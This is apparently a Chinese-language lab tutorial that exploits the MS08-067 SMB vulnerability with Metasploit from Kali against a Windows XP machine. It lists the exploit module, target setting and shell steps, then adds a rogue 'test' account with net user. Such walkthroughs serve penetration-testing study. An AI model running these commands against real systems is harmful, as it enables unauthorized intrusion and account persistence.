MS08-067 渗透

MS08-067 渗透

这个漏洞多出名不需要过多介绍了。直接开始渗透。

渗透准备

windows xp 以及kali (两者处于同一个网络中)
互相ping一下，确保可以ping通
道路铺设好以后，就可以开始准备开火了。

执行search ms08-067

执行use exploit/windows/smb/ms08_067_netapi命令。

执行show options命令


执行set RHOST 192.168.0.8命令，设置一个目标IP地址。

执行run命令。

显示成功以后，执行shell命令

然后就可以执行shell 里面的一些命令了。
比如：net user 命令 查看当前用户。

执行net user test test /add命令，添加一个用户。

执行net user命令，看到我们刚才添加的用户已经存在了。

创建的用户都已经存在了，后续就可以就可以进行扩大战果了。